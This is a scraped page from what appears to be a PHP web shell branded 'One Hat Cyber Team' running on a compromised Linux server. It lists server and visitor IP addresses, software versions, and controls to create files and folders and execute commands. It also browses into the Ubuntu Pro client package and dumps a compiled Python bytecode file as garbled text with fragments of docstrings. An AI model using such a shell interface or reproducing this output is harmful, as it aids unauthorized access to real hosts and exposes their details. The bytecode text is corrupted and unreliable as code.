⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
uaclient
/
__pycache__
/
View File Name :
event_logger.cpython-310.pyc
o pfA @ s d Z ddlZddlZddlZddlmZmZmZmZm Z m Z ddlmZ dZ ee eeeef f Zdadd ZejG dd d ejZd eeef deeef fdd ZG dd dZdS )a$ This module is responsible for handling all events that must be raised to the user somehow. The main idea behind this module is to centralize all events that happens during the execution of Pro commands and allows us to report those events in real time or through a machine-readable format. N)AnyDictListOptionalSetUnion) safe_dumpz0.1c C s t d u rt a t S N) _event_loggerEventLogger r r 7/usr/lib/python3/dist-packages/uaclient/event_logger.pyget_event_logger s r c @ s" e Zd ZdZe Ze Ze ZdS )EventLoggerModea Defines event logger supported modes. Currently, we only support the cli and machine-readable mode. On cli mode, we will print to stdout/stderr any event that we receive. Otherwise, we will store those events and parse them for the specified format. N)__name__ __module____qualname____doc__objectCLIJSONYAMLr r r r r s r statusreturnc C sh ddl m} dd t| D | d<